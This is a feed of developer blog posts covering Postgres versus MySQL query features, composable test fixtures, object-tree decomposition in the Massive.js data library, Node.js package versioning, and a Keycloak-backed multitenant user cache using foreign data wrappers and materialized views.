Enumerations don't get enough love. If I had a dollar for every INT -- or worse, VARCHAR -- field I've seen representing one of a fixed set of potential values, I probably still couldn't retire but I could at least have a pretty nice evening out. There are drawbacks to using enums, to be sure: adding new values requires DDL, and you can't remove values at all. But appropriate use cases for them are still reasonably common.
MySQL and Postgres both offer enums. The critical distinction is that Postgres' enums are proper reusable types. MySQL's enums are more like the otherwise-ignored CHECK constraints and specify a valid value list for a single column in a single table. Possible improvement on allowing a boolean column to contain -100?
Querying Data
So that's data modeling covered. There's an entire other half to go: actually working with the information being stored. SQL itself is divided in two parts, the "data definition language" which defines the structure of a database and the "data manipulation language". This latter comprises the SELECT, INSERT, and other statements most people think of when they hear the name "SQL". And just as with modeling, there are substantial differences between Postgres and MySQL in querying.
RETURNING
Autogenerating primary keys takes a huge headache out of storing data. But there's one catch: when you insert a new record into a table, you don't know what its primary key value got set to. Most relational databases will tell you what the last autogenerated key was if you call a special function; some, like SQL Server, even let you filter down to the single table you're interested in.
Postgres goes above and beyond with the RETURNING clause. Any write statement -- INSERT, UPDATE, DELETE -- can end with a RETURNING [column-list], which acts as a SELECT on the affected records. RETURNING * gives you the entire recordset from whatever you just did, or you can restrict what you're interested in to certain columns.
That means you can do this:
INSERT INTO foos (name)
VALUES ('alpha'), ('beta')
RETURNING *;
id │ name
────┼───────
1 │ alpha
2 │ beta
(2 rows)
With MySQL, you're stuck with calling LAST_INSERT_ID() after you add a new record. If you added multiple, LAST_INSERT_ID only gives you the earliest new id, leaving you to work out the rest yourself. And of course, this is only good for integer primary keys.
MySQL also has no counterpart to this functionality for UPDATEs and DELETEs. Competitor MariaDB supports RETURNING on DELETE, but not on any other kind of statement.
Common Table Expressions
Common Table Expressions or CTEs allow complex queries to be broken up and assembled from self-contained parts. You might write this:
WITH page_visits AS (
SELECT p.id, p.site_id, p.title, COUNT(*) AS visits
FROM pages AS p
JOIN page_visitors AS v ON v.page_id = p.id
GROUP BY p.id, p.site_id, p.title
), max_visits AS (
SELECT DISTINCT ON (site_id)
site_id, title, visits
FROM page_visits
ORDER BY site_id, visits DESC
)
SELECT s.id, s.name,
max_visits.title AS most_popular_page,
SUM(page_visits.visits) AS total_visits
FROM sites AS s
JOIN page_visits ON page_visits.site_id = s.id
JOIN max_visits ON max_visits.site_id = s.id
GROUP BY s.id, s.name, max_visits.title
ORDER BY total_visits DESC;
In the first query, we aggregate visit counts; in the second, we use DISTINCT ON on the results of the first to filter out all but the most popular pages; finally, we join both of our intermediary results to provide the output we're looking for. CTEs are a really readable way to factor query logic out, and they let you do some things in one statement that you can't otherwise.
MySQL does have CTEs! However: thanks to the RETURNING clause, Postgres can write records in a CTE and operate on the results. This is huge for application logic. This next query writes a record in a CTE, then adds a corresponding entry to a junction table -- all in the same transaction.
WITH wine AS (
INSERT INTO wines (name, year)
VALUES ('Herrenreben', 2015)
RETURNING id
), reviewer AS (
SELECT id
FROM reviewers
WHERE name = 'Wine Enthusiast'
)
INSERT INTO wine_ratings (wine_id, reviewer_id, score)
SELECT wine.id, reviewer.id, 92
FROM wine
JOIN reviewer ON TRUE;
Casting
Sometimes a query needs to treat a value as if it has a different type, whether to store it or to operate on it somehow. Postgres even lets you define additional conversions between types with CREATE CAST.
MySQL supports casting values to binary, char/nchar, date/datetime/time, decimal, JSON, and signed and unsigned integers. Absent from this list: tinyints, which, since booleans are actually tinyints, means you're stuck with conditionals when you need to coerce a value to true or false for storage in a "boolean" column.
Lateral Joins
A lateral join is fundamentally similar to a correlated subquery, in that it executes for each row of the current result set. However, a correlated subquery is limited to returning a single value for a SELECT list or WHERE clause; subqueries in the FROM clause run in isolation. A lateral join can refer back to information in the rest of the result set:
CREATE TABLE docs (id serial, body jsonb);
INSERT INTO docs (body) VALUES ('{"a": "one", "b": "two"}'), ('{"c": "three"}');
SELECT docs.id, keys.*
FROM docs
JOIN LATERAL jsonb_each(docs.body) AS keys ON TRUE;
id │ key │ value
────┼─────┼─────────
1 │ a │ "one"
1 │ b │ "two"
2 │ c │ "three"
(3 rows)
It can also invoke table functions like unnest which return multiple rows and columns:
CREATE TABLE multiple_arrays(arr1 int[], arr2 int[]);
INSERT INTO multiple_arrays (arr1, arr2)
VALUES
('{1,2,3}', '{4,5}'),
('{6,7}', '{8,9,10}');
SELECT raw.*
FROM multiple_arrays
JOIN LATERAL unnest(arr1, arr2) AS raw ON TRUE;
unnest │ unnest
────────┼────────
1 │ 4
2 │ 5
3 │ (null)
6 │ 8
7 │ 9
(null) │ 10
(6 rows)
Oracle and SQL Server offer similar functionality with the LATERAL keyword in the former, and CROSS APPLY/OUTER APPLY. MySQL does not.
Variadic Function Arguments
Functions! Procedures, if you believe in making that distinction! They're great! You can declare variadic arguments -- "varargs" or "rest parameters" in other languages -- to pull an arbitrary number of arguments into a single collection named for the final argument.
In Postgres.
Predicate Operations
A handful of useful operations which allow more expressive WHERE clauses with Postgres:
• IS DISTINCT FROM and its counterpart IS NOT DISTINCT FROM offer a null-sensitive equality test. Null isn't ordinarily comparable since it represents the absence of a value, so the predicate WHERE field <> 1 will not return records where field is null. WHERE field IS DISTINCT FROM 1 returns all records where field is other-than-1, including where it's null.
• ILIKE is a case-insensitive LIKE operation. MySQL does have the capability for case-insensitive pattern matching, but it depends on your collation and can't be toggled on a per-query basis (the default collation is case-insensitive, to be completely fair).
• ~, ~*, !~, and !~* form a set of POSIX regular expression tests: match, case-insensitive match, no match, and no case-insensitive match respectively. MySQL does have REGEXP and NOT REGEXP; however, Postgres' implementation has lookahead and lookbehind.
General Database Work
That's it for the architecture and query language feature gaps I discovered. I did run into a couple other things that bear mentioning, however:
Dependencies
MySQL doesn't care about dependencies among database objects. You can tell it to drop a table a view or proc depends on and it will go right ahead and drop it. You'll have no idea something's gone wrong until the next time you try to invoke the view or proc. Postgres saves you from yourself, unless you're really sure and drop your dependents too with CASCADE.
Triggers and Table Writes
Just the mention of triggers is probably putting some people off their lunch. They're not that bad, honest (well, they can be, but it's not like it's their fault). Anyway, point is: sometimes you want to write a trigger that modifies other rows in the table it's being activated from.
Well, you can't in MySQL.
The End?
This may have exhausted me, but I'm pretty sure it's still not an exhaustive list of the feature gaps between Postgres and MySQL. I did cop to my preference up front, but having spent six weeks putting the effort into converting the comparison is pretty damning. I think there could still be reasons to pick MySQL -- but I'm not sure they could be technical.
]]>
https://di.nmfay.com/postgres-vs-mysql https://di.nmfay.com/postgres-vs-mysql Wed, 11 Apr 2018 00:00:00 GMT
<![CDATA[The Orchid, the Wasp, and the Test Fixture]]> I write a lot of integration tests that operate on data. The usual format for this is a setup function which gets the database into a particular state, a test or tests which validate the appropriate application functionality, and then a teardown function which cleans everything up so the next test suite can do its thing. There are different names and some little complexities (Mocha and AVA offer a before and a beforeEach, for example) but generally speaking this is How It's Done in every language/framework I've written tests in. This seems less a product of conscious architecture than it does a natural evolution of testing processes; nobody's* really nailed down a formal model for test data management yet.
The end result is that these setup functions, or fixtures, tend to be developed ad-hoc and inconsistently. It's not difficult to wind up with two test suites taking completely different approaches to generate what's practically speaking the same data. It gets worse when something changes and a bunch of your tests become out of date with you none the wiser until a bug report lands in your lap. I've written a lot of fixtures like that, and I want to stop.
The only solution to inconsistency is centralization: there needs to be a single source of data. If there's one place to go for fixture data, that goes a long way toward ensuring tests stay current. However, just bringing all the fixtures under one roof isn't enough. If some tests exercise carryout orders and others exercise delivery orders, the database state could be 75% identical -- but one has a phone number and a pickup time attached, the other an address and a driver. One fixture alone won't do the job, and breaking it up is backsliding towards the original problem. Centralization is only part of the solution; fixtures have to be flexible as well.
Meanwhile, in Southwestern Australia
The hammer orchid has a very specific mechanism of reproduction. Each of the species in the Drakaea genus mimics the scent (not to mention color and shape) of the female of a symbiotic species of wasp. The scent attracts male wasps, which attempt to mate with the flower only to become covered in the orchid's pollen. Eventually they give up and fly off. Enough of them proceed to fall for the same trick again, rubbing the pollen off onto a new flower, to ensure the survival of the orchids; and, presumably, enough of them find actual mates to ensure the survival of their own species.
Of course, to say the orchid tricks the wasp is a blatant anthropomorphization. The orchid may be a marvel of evolutionary architecture, but it can't think and it can't plan. It is simply following a program which requires that it become, in a certain sense -- quite literally, smell -- a wasp. An orchid which fails to be a wasp does not reproduce. The wasp, too, is an orchid when it deposits pollen on the waiting stigma of another flower.
The poststructuralists Gilles Deleuze and Felix Guattari used the orchid and the wasp to exemplify what they called a rhizome. The rhizome is an organizational model, a way of thinking about structure and process and the structure of process, which counterpoints the more familiar hierarchical or arborescent model. A corporation is a hierarchy of power which flows top to bottom; meanwhile, a labor union may have officials and bureaucracy, but these local hierarchies don't define the entire organization. Power in a union flows in many directions. There's a lot to like about the rhizomatic model, but one of its principal attributes is just what we're looking for: flexibility.
Deleuze and Guattari identify six characteristics of a rhizome in 1000 Plateaus. The first two and last two are each closely related and considered together.
Connection and Heterogeneity
A rhizome is a crowd or cluster of different (heterogeneous) things which can be and are connected non-hierarchically. This describes a lot of technological stuff, especially distributed systems! If you're thinking of serverless applications, Cassandra, or Kubernetes clusters: that's where we're going with this.
Our data consists, at an atomic level, of records in different tables. If we consider an "initializer" function which generates one of these records as an element of a rhizome, we can compose multiple initializers to generate any data state we need to test.
An initializer looks something like this:
async (db, data) => {
return db.drivers.insert({name: 'Taylor', license: 'abc123'});
};
Other initializers may cover the franchises table, the destinations table, and the orders table. Each is as simple as possible, generating records of one and only one type. An initializer which creates records of multiple types is a throwback to the complex fixtures we're trying to avoid.
There are always some tests that need to do something specific with the data. What happens when a driver doesn't have a license? If Taylor always has one, we can't exercise that code. We have a few options here:
• Update Taylor's record to remove her license at the beginning of the "drivers without licenses get ticketed" test
• Create a second driver-without-license initializer which generates a record for Taylor's hapless compatriot Tyler, sans license
• Generate records for both Taylor, with a license, and Tyler, without, in the single driver initializer
There's no cut and dried answer here; the best solution depends on the situation. Here, if there's only one test that depends on having a driver without a license, I'd go with option A. If there are several, it might be time to consider the others.
Multiplicities
Rhizomes must be thought of in terms of the discrete elements which make it up, and how those elements interact with the elements of other systems. The reproduction of the hammer orchid consists of flowers and wasps, and both flower and wasp interact with things outside. Deleuze and Guattari offer a more direct example: a puppet's strings, considered as a multiplicity, are connected not to the will of the puppeteer but to another multiplicity of nerves. The puppeteer's nervous system becomes a puppet in the same way that the hammer orchid becomes a wasp.
Thinking in multiplicities inverts the question of how fixture data is set up. It's no longer about the state for this or that test, but about the ability to describe and therefore build any data state. Each test suite selects the initializer functions it requires and builds a rhizome from them. The order of invocation does matter for local hierarchies; for example, we can't create a delivery order without a driver.
I have a ContextFactory to which I can pass the names of initializer functions. This factory returns a new function which, when executed, runs the initializers in sequence and collects the records each generates, passing the current state or context into each succeeding initializer so elements in local hierarchies can create their relationships correctly. Each test suite's before function creates a new ContextFactory in the global scope:
contextFactory = await ContextFactory('franchise', 'driver', 'destination', 'delivery-order');
This example contains two local hierarchies: franchise-driver-order and destination-order. The only constraint on ordering is that nothing can appear before its dependencies; for example, we could create the destination before anything else, but delivery-order has to be created last.
Asignifying Rupture
Have I mentioned that poststructuralism takes a lot of heat for impenetrable jargon? In fairness, it's difficult to establish a vocabulary to talk about things as abstract as it does, but its reputation is still deserved to a certain extent. Think of this as representing a "self-healing" capability if one of the components of the rhizome breaks down. If a single wasp doesn't make it to a second flower, it makes little difference; there are other wasps and other flowers. Political rhizomes especially have a way of recurring even under harsh repression, as does quackgrass.
This is a useful property for distributed architectures and concurrent processing: if a Spark job has incomplete results because something took an executor offline, the cluster manager can schedule other executors to cover the missing data. But for our purposes, a breakdown means inconsistency, so this is a point of departure for us -- we're better off raising an exception and aborting.
Cartography and Decalcomania
A rhizome is "a map and not a tracing". Where the latter creates an immutable still-life representation, a map is open to interpretation, interrogation, and most importantly, modification. Maps change all the time, because what they represent is permanently in flux. Territories declare independence, are recognized or not, are annexed; borders shift, connections are made and broken, cultures and languages ebb and flow. Maps do more than merely show this information: they transfer it ("decalcomania" is a process of reproducing images, the origin of the more common and subtly different word "decal"). A border defines the understood limits of a territory; a route on an atlas becomes a route in the mind of a driver.
When the ContextFactory is invoked, it returns an object mapping initializers to the data each have created.
ctx = contextFactory();
assert.equal(ctx.driver.name, 'Taylor');
A monolithic fixture is a tracing: it freezes a snapshot of the data model as it appeared at one point in time. The initializers, by contrast, map out our application's data model bit by bit, each piece adding more definition. If the information which makes up a driver changes -- adding a last name or whether they're on shift -- that gets added to the initializer. Every test is automatically up to date. If one breaks, that's a good thing! It means the code being exercised can't handle the new information correctly, and needs to be fixed before we can ship.
End
The rhizomatic model makes test fixtures endlessly flexible. Where monolithic fixtures multiply complexity and fall out of date with little warning, a unified, composable set of discrete fixtures keeps data generation centralized and ensures that tests that exercise related functionality use a consistent and current data set.
* The Doctrine O/RM for PHP provides a framework for loading and executing discrete centralized test fixtures, making it the only example I've seen in the wild of what I'm about to cover, if you're the kind of person who skips down to read footnotes before continuing. Anyway, score one for PHP!
]]>
https://di.nmfay.com/orchid-wasp-fixture https://di.nmfay.com/orchid-wasp-fixture Sun, 25 Feb 2018 00:00:00 GMT
<![CDATA[Decomposing Object Trees From Relational Results]]> This is a feature I added to Massive recently. I had cases where I was querying views on hierarchies of multiple JOINed tables to reference data. For an example, here's a query that returns a list of wineries, some of their wines, and the grapes that go into each:
SELECT ws.id, ws.name, ws.country, w.id AS wine_id, w.name AS wine_name, w.year,
va.id AS varietal_id, va.name AS varietal_name
FROM wineries ws
JOIN wines w ON w.winery_id = ws.id
JOIN wine_varietals wv ON wv.wine_id = w.id
JOIN varietals va ON va.id = wv.varietal_id
ORDER BY w.year;
The result set looks like this:
id | name | country | wine_id | wine_name | year | varietal_id | varietal_name
----+----------------------+---------+---------+-----------------------+------+-------------+--------------------
4 | Chateau Ducasse | FR | 7 | Graves | 2010 | 6 | Cabernet Franc
2 | Bodega Catena Zapata | AR | 5 | Nicolás Catena Zapata | 2010 | 4 | Malbec
2 | Bodega Catena Zapata | AR | 5 | Nicolás Catena Zapata | 2010 | 1 | Cabernet Sauvignon
4 | Chateau Ducasse | FR | 7 | Graves | 2010 | 5 | Merlot
4 | Chateau Ducasse | FR | 7 | Graves | 2010 | 1 | Cabernet Sauvignon
3 | Domäne Wachau | AT | 6 | Terrassen Federspiel | 2011 | 7 | Grüner Veltliner
1 | Cass Vineyards | US | 1 | Grenache | 2013 | 2 | Grenache
1 | Cass Vineyards | US | 2 | Mourvedre | 2013 | 3 | Mourvedre
2 | Bodega Catena Zapata | AR | 3 | Catena Alta | 2013 | 4 | Malbec
2 | Bodega Catena Zapata | AR | 4 | Catena Alta | 2013 | 1 | Cabernet Sauvignon
This tells us a lot: we've got two single-varietal wines from Cass, two (note the differing wine_ids) and a blend from Catena, one grüner from Wachau, and one classic Bordeaux blend from Ducasse. But while I can pick out the information I'm interested in from this result set easily enough, it's not directly usable by application code which processes the records one at a time. If I needed to use these results to drive a site which offered winery profiles and allowed users to drill down into their offerings, I'd have a rough time of it. That structure looks more like this:
├── Bodega Catena Zapata
│ ├── Catena Alta
│ │ └── Cabernet Sauvignon
│ ├── Catena Alta
│ │ └── Malbec
│ └── Nicolás Catena Zapata
│ ├── Cabernet Sauvignon
│ └── Malbec
├── Cass Vineyards
│ ├── Grenache
│ │ └── Grenache
│ └── Mourvedre
│ └── Mourvedre
├── Chateau Ducasse
│ └── Graves
│ ├── Cabernet Franc
│ ├── Cabernet Sauvignon
│ └── Merlot
└── Domäne Wachau
└── Terrassen Federspiel
└── Grüner Veltliner
Relational databases don't do trees well at all. This is one of the compelling points of document databases like MongoDB, which would be able to represent this structure quite easily. However, our data really is relational: we've also got "search by grape" functionality, and it's a lot easier to pick out wines which match "Mourvedre" by starting with the single record in varietals and performing a foreign key scan. It's even indexable. By comparison, to do this with a document database you'd need to look in every document to see if its varietals had a match, and that still leaves the issue of ensuring that each winery only appears once in the output. Worse, there's no guarantee someone didn't typo "Moruvedre" somewhere.
There's an easy way to generate the profile-wine-varietal tree: just iterate the result set, see if we have a new winery and add it if so, see if the wine is new to this winery and add it if so, see if the varietal is new for this wine and add it if so. It's not very efficient, but this isn't the kind of thing one does at the millions-of-records scale anyway. The bigger problem is it only works for these specific results. Next time I run into this scenario, I'll have to start from scratch. I'm lazy. I only want to have to write this thing once.
Location, Location, Location
The first problem is determining which columns belong where in the object tree. The query result doesn't say which table a given column came from, and even if it did, that's no guarantee that it really belongs there. Meaning is contextual: a developer might want to merge joined results from a 1:1 relationship into a single object, or do more complicated things I can't anticipate.
To place each column, Massive needs a schema. Defining any kind of data model was something I'd avoided in the project for as long as possible; coming as I do from a strongly-typed background, it's almost instinctive. Strong typing, its many good points aside, is one of the reasons the object-relational mapper pattern (O/RM) dominates data access in languages like Java and C#: the requirement to map out class definitions ahead of time lends itself all too easily to creating a parallel representation of your data model as an object graph. This is the "object-relational impedance mismatch", also known as the Vietnam of computer science. You now have two data models, each subtly out of sync with the other, each trying to shoehorn data into formats that don't quite fit it. By contrast, JavaScript basically doesn't care what an object is. That lets Massive get away without any kind of modeling: it builds an API out of Tables and Queryables and Executables, but after that it's all arrays of anonymous result objects.
In an early version of this code, I automatically generated the schema based on column aliasing. The field wines__id would be allocated to an element of a collection named wines in the output. I wound up dropping this: naming conventions require significant up-front work, and if you're trying to do this to a view that already exists, it probably doesn't follow conventions I just came up with. This is poison for Massive, which is supposed to be a versatile toolkit with few expectations about your model. Providing a schema on invocation is still a non-negligible effort, but you only have to do it when you absolutely need it.
A schema looks like this:
{
"pk": "id",
"columns": ["id", "name", "country"],
"wines": {
"pk": "wine_id",
"columns": {"wine_id": "id", "wine_name": "name", "year": "year"},
"array": true,
"varietals": {
"pk": "varietal_id",
"columns": {"varietal_id": "id", "varietal_name": "name"},
"array": true
}
}
}
Each nested element defines a pk field, which we'll use to distinguish records belonging to different objects at the appropriate level of the tree. columns may be an array or an object to allow renaming (every single one of our tables has a column called name, and prefixes only make sense for flat result sets). The array flag on inner schemas indicates whether objects created from the schema should be appended to a collection or added as a nested object on the parent. We don't have any instances of the latter, but it's something you'd use for a user with a rich profile object or another 1:1 relationship.
Making a Hash of Things
Given a resultset and a schema to apply to it, our first order of business is consolidation. Chateau Ducasse only has one wine in our dataset, but since it's a cabernet sauvignon/merlot/cabernet franc blend, it shows up in three rows. And through some quirk of the sorting engine, those three rows aren't even adjacent. We'd be in trouble if we just accumulated data until the id changed -- we'd have records for a 2010 Chateau Ducasse cab franc and a 2010 Ducasse merlot/cab sauv, neither of which actually exists. If we did it really badly, we'd have two distinct Chateaux Ducasse with one imaginary wine each.
Fortunately, our schema defines a primary key field which will ensure that Chateau Ducasse is the only Chateau Ducasse; and we have hashtables. We can represent the query results as a recursively nested dictionary matching each object's primary key with its values for fields defined by the schema. Even for a relatively small data set like we have, this mapping gets big fast. This is what Chateau Ducasse's section looks like in full:
{ ...,
"4": {
"id": 4,
"name": "Chateau Ducasse",
"country": "FR",
"wines": {
"7": {
"id": 7,
"name": "Graves",
"year": 2010,
"varietals": {
"1": {
"id": 1,
"name": "Cabernet Sauvignon"
},
"5": {
"id": 5,
"name": "Merlot"
},
"6": {
"id": 6,
"name": "Cabernet Franc"
}
}
}
}
}
}
To generate this, we iterate over the resultset and pass each row through a function which recursively steps through the schema tree to apply the record data. For this schema, we're starting from wineries so the id 4 corresponds to Chateau Ducasse. Inside that object, the wine id 7 in the wines mapping corresponds to their 2010 Bordeaux, and so on.
Simplify!
However, the primary key mapping is obnoxious to work with. It's served its purpose of structuring our data in an arborescent rather than a tabular form; now it needs to go away, because it's an extra layer of complexity on top of our super-simple winery-wine-varietal tree. We need to break each winery value in the outer dictionary out into its own object, recurse into each of those to do the same for their wines, and finally recurse into the wines to handle the varietals.
If this sounds really similar to what we just did, that's because it is. It's technically possible to do this in one pass instead of two, but processing the raw results into a hashtable is much, much faster than the potential number of array scans we'd be doing.
To arrive at the final format, we reduce the mapping's key list; these are the primary keys of each winery in the example dataset. The corresponding values from the mapping go in the reduce accumulator. Since we're only dealing with arrays here, the accumulator will always be an array; if we had a subobject with a 1:1 relationship, we'd use an object accumulator instead by turning array off in the schema definition. This would result in the subobject being directly accessible as a property of its parent object.
Here's Catena:
[ ...,
{
"id": 2,
"name": "Bodega Catena Zapata",
"country": "AR",
"wines": [ {
"id": 3,
"name": "Catena Alta",
"year": 2013,
"varietals": [ {
"id": 4,
"name": "Malbec"
} ]
}, {
"id": 4,
"name": "Catena Alta",
"year": 2013,
"varietals": [ {
"id": 1,
"name": "Cabernet Sauvignon"
} ]
}, {
"id": 5,
"name": "Nicolás Catena Zapata",
"year": 2010,
"varietals": [ {
"id": 1,
"name": "Cabernet Sauvignon"
}, {
"id": 4,
"name": "Malbec"
} ]
} ]
},
... ]
Dead simple: we've got wineries, wineries have wines, wines have varietals. Everything lines up with the real primary key values from the original query result. We've turned a raw resultset with embedded relationships into a model of those relationships. This is much easier to manage outside the relational context in client code, and it's an accurate representation of the mental model we want our users to have. The schema does add a bit of overhead, but it's as contained about as well as possible. Further automation only makes it less flexible from here out.
]]>
https://di.nmfay.com/decomposition https://di.nmfay.com/decomposition Fri, 26 Jan 2018 00:00:00 GMT
<![CDATA[Behind the Curve: "New" vs "Compatible" in Node.js Package Development]]> The pace of Node.js development has created a complicated space for growing and maintaining reusable libraries. As new features are introduced, there's a certain pressure to keep up with the latest and greatest in order to simplify existing code and take advantage of new capabilities; but there's pressure in the opposite direction too, since projects which depend on the package aren't always themselves keeping up with Node.
My main open source project is Massive.js. It's a data access library for Node and the PostgreSQL relational database. I started participating in its development back before io.js merged back into Node and brought it up to ES6, and as of right now I'm still using it in one (not actively developed) product with an old-school callback-based API. I'm also relying on it in other projects with Node 8, the latest stable release line, so I've gotten to use a lot of the newer feature set which have collectively made Node development a lot more fun.
Given that libraries like mine are used with older projects and on older engines, the code has to run on as many of them as is practical. It's easy to assume with open source projects that if someone really needs to do whatever it is your package does in an engine from the stone age (better known as "yesterday" in Node) they can raise an issue or submit a pull request, or worst case fork your project and do whatever they have to to make it work. But in practice, the smaller the userbase for a package the less point there is to developing it in the first place, so there's a delicate balance to strike between currency and compatibility.
Important Numbers in Node.js History
• 0.12: The last version before io.js merged back into Node and brought the newest version of Google's V8 engine and the beginnings of ES6 implementation with it.
• 4: The major release series beginning with the reintegration of io.js in September 2015. Some ES6 language features such as promises and generators become natively available, freeing those Node developers able to upgrade from "callback hell". Node also moves to an "even major versions stable with long term support, odd major versions active development" release pattern.
• 6: The 2016 long term support (LTS) release series rounds out the ES6 feature set with proxies, destructuring, and default function parameters. The former is a brand new way of working with objects, while the latter two are big quality-of-life improvements for developers.
• 8: The 2017 LTS release series, current until Node 10 is released April 2018. The big deal here is async functions: promises turned out to still be a bit unwieldy, leading to the rise of libraries like co exploiting generators to simplify asynchronous functionality. With async/await, these promise management libraries are no longer needed.
What Maximum Compatibility Means
For a utility library like Massive, the ideal scenario for end users is one where they don't have to care which engine they're using. Still on 0.12, or even before? Shouldn't matter, just drop it in and watch it go. Unfortunately, not only does this mean Massive can't take advantage of new language features, it affects what everyone else can do with the package themselves.
The most obvious impact is with promises, which only became standard in 4.0.0. Prior to that, there were multiple independent implementations like q or bluebird, most conforming to the A+ standard. For Massive to use promises internally while running on older engines, it would have to bundle one of these. And that still wouldn't make a promise-based API useful unless the project itself integrated a promise library, since the only API metaphor guaranteed available on pre-4.0.0 engines is the callback.
Some of the most popular features which have been added to the language specification are ways to get away from callbacks. This is with good reason, although I won't go into detail here; suffice to say, callbacks are unwieldy in the best of cases. Older versions of Massive even shipped with an optional "deasync" wrapper which would turn callback-based API methods into synchronous -- blocking -- calls. This usage was wholly unsuitable for production, but easier to get off the ground with.
A Breaking Point
With the version 4 update, actively developed projects started moving toward promises at a good clip. We started seeing the occasional request for a promise-based API on the issue tracker. My one older project even got a small "promisify" API wrapper around Massive as we upgraded the engine and started writing routes and reusable functions with promises and generators thanks to co. Eventually things got to the point where there was no reason not to move Massive over to promises: anything that still needed callbacks was likely stable with the current API, if not legacy code outright.
This meant a clean break. The new release of Massive could use promises exclusively, while anything relying on callbacks would have to stay on the older version. By semantic versioning standards, an incompatible API change requires a new major version. In addition to complying with semver, releasing the promise-based implementation as 3.0.0 would allow urgent patches to be made on the existing 2.x series concurrently with new and improved 3.x releases.
Multiple Concurrent Releases with Tags
The npm registry identifies specific release series with a "dist-tag" system. When I npm publish Massive, it updates the release version on the latest tag; when a user runs npm install massive, whatever latest points to is downloaded to their system. Package authors can create and publish to other tags if they don't want to change the default (since without an alternative tag, latest will be updated). This is frequently used to let users opt in to prereleases, but it can just as easily let legacy users opt out of updates.
Publishing from a legacy branch in the code repository to a second tag means installing the most recent callback-based release is as easy as npm i massive@legacy. Or it could be even simpler: npm i massive@2 resolves to the latest release with that major version. And of course, package.json disallows major version changes by default, so there's no worries about accidental upgrades.
You can list active dist-tags by issuing npm dist-tag ls, and manage them through other npm dist-tag commands.
The One Time I Kind of Screwed Up
In July, a user reported an issue using Massive 3.x on a version 4 series engine. The version 6 stable release had been out for a while, and my active projects had already been upgraded to that for some time. The even newer version 8 series, with full async and await support, had just been released. The problem turned out to be that I'd unwittingly used default function parameters to simplify the codebase. This feature was only introduced in the version 6 release series, which meant Massive no longer functioned with version 4 engines.
Fixing the issue to allow Massive to run on the older engine would be a bit annoying, but possible. However, I had some ideas in the works that would require breaking compatibility with the version 4 series anyway: proxies are not backwards-compatible, so anything using them can only run on version 6 series and newer engines. Rather than fix compatibility with an engine which was now superseded twice over only to break it again later, I ultimately decided to leave well enough alone and clarify the engine version requirement instead.
Move Slowly and Deliberately and Try Not to Break Things
The main lesson of package development on Node is that you have to stay some distance behind current engine developments in order to reach the most users. How far behind is more subjective and depends on the project and the userbase. I think Massive is fine one full LTS version back, but a contrasting example can be found in the pg-promise driver it uses. Vitaly even goes as far as allowing non-native promise libraries to be dropped in, which hasn't strictly been necessary since 2015 -- unless you're stuck on an engine from before the io.js merge, which users of a more general-purpose query tool seem more likely to be.
Following semantic versioning practices not only ensures stability for users, but also makes legacy updates practical -- just check out the legacy branch, fix what needs fixing, and publish to the legacy tag instead of latest. One new feature and a couple of patches actually have landed on Massive v2 so far, but it's generally been quiet.
Having a clearly-defined standard for versioning has also helped manage the pace of continued development better: figuring out when and how to integrate breaking changes to minimize their impact is still tough, but it's vastly preferable to holding off on them indefinitely.
]]>
https://di.nmfay.com/behind-the-curve https://di.nmfay.com/behind-the-curve Fri, 22 Dec 2017 00:00:00 GMT
<![CDATA[A Unified Multi-Tenant User Cache with PostgreSQL]]> I've been working on a multitenant Node.js product which recently moved its authentication into a Single Sign-On (SSO) system. With PostgreSQL we were able to structure and retrieve user data efficiently through an interesting combination of uncommon or unique database functionality:
• Foreign data wrappers (FDWs)
• Table inheritance
• Materialized views
Foreign Data Wrappers
When we began redesigning the application's user infrastructure we wanted to avoid maintaining a copy of user data independent from the chosen SSO system, Keycloak. We knew we could represent data from other sources through a foreign data wrapper. This is (so far as I know) a unique feature to Postgres, which lets you represent data in other sources as tables by implementing a standard connecting API.
The bad news: Postgres is written in C, and while I could probably brush up on pointers and make it work eventually, higher-level languages have spoiled me. Fortunately, there's a project which enables FDW development in Python: Multicorn. With my coworker's efforts on foreign-keycloak-wrapper, that got us as far as being able to create a table representing a particular "realm" or user organization in Keycloak (we kept our organizations table in order to have referential integrity in our data ownership) and retrieve its users through the Keycloak API.
CREATE SERVER "myrealm_server"
FOREIGN DATA WRAPPER multicorn
OPTIONS (
wrapper 'keycloak.Keycloak',
url 'url to the Keycloak instance',
username 'a realm admin username',
password 'a realm admin password',
realm 'myrealm',
client_id 'a realm client id',
grant_type 'password',
client_secret 'a realm client secret',
organization_id 'id of an entry in the organizations table'
);
CREATE FOREIGN TABLE "myrealm" (
id uuid,
username text,
"firstName" text,
"lastName" text,
email text,
organization_id uuid
) SERVER "myrealm_server";
SELECT * FROM myrealm;
We'd still have to create a foreign server and table for each realm, since the Keycloak API only retrieves users per realm by design. In a multitenant system, we want bootstrapping new organizations to be easy and automated on the backend. Here Keycloak has the ability to export realm connection information as JSON, which lets us access the information required to CREATE FOREIGN SERVERs and CREATE FOREIGN TABLEs on the fly. So, while it's possible to pull user information from new realms after creation, it will always be separated by realm. We didn't want to have to figure out which table to pull from in the JavaScript API -- best to keep that as straightforward as possible and manage data complexity in the database. It's what it's there for.
Table Inheritance
Table inheritance is another feature unique to Postgres among the four major RDBMSs. Setting up a base users table and declaring that the myrealm table INHERITS (users) accomplishes two things:
First, myrealm builds on top of users' column list. This mostly makes the CREATE FOREIGN TABLE statement shorter (it's also optional), since we have no new columns to add as long as the base users schema conforms to the Keycloak API contract.
Second, myrealm's data can be accessed through users with a simple SELECT. In fact, this is the default behavior, and a SELECT must specify FROM ONLY users in order to omit rows from descendant tables.
CREATE TABLE "users" (
id uuid,
username text,
"firstName" text,
"lastName" text,
email text,
organization_id uuid
);
CREATE FOREIGN TABLE "myrealm" (
) INHERITS "users" SERVER "myrealm_server";
SELECT * FROM users;
The SELECT now combines information from every active realm, so for higher-level APIs the only question is one of ensuring the requesting user is authorized to see the information retrieved. This is exactly the way we had it with the local users table, so we've already got that authorization infrastructure in place and overall impact to the rest of the application is minimal.
Materialized Views
The Keycloak server being separate from the application database server means longer roundtrip time in any query involving user records. There are some advantages to having the data stored locally, after all! However, the real problem isn't in having the data but in ensuring it stays current: what we need is a cache. A materialized view is exactly that.
Materialized views are found in Postgres, SQL Server, and Oracle. If you use MySQL, you're out of luck (but then, if you're following this whole thing, it's Postgres or bust anyway). It's defined just like a regular view, with the MATERIALIZED between CREATE and VIEW the important difference indicating that the results of the view query are to be stored until refreshed. The stored results can be indexed just like tables, too.
CREATE MATERIALIZED VIEW cached_users AS
SELECT * FROM users;
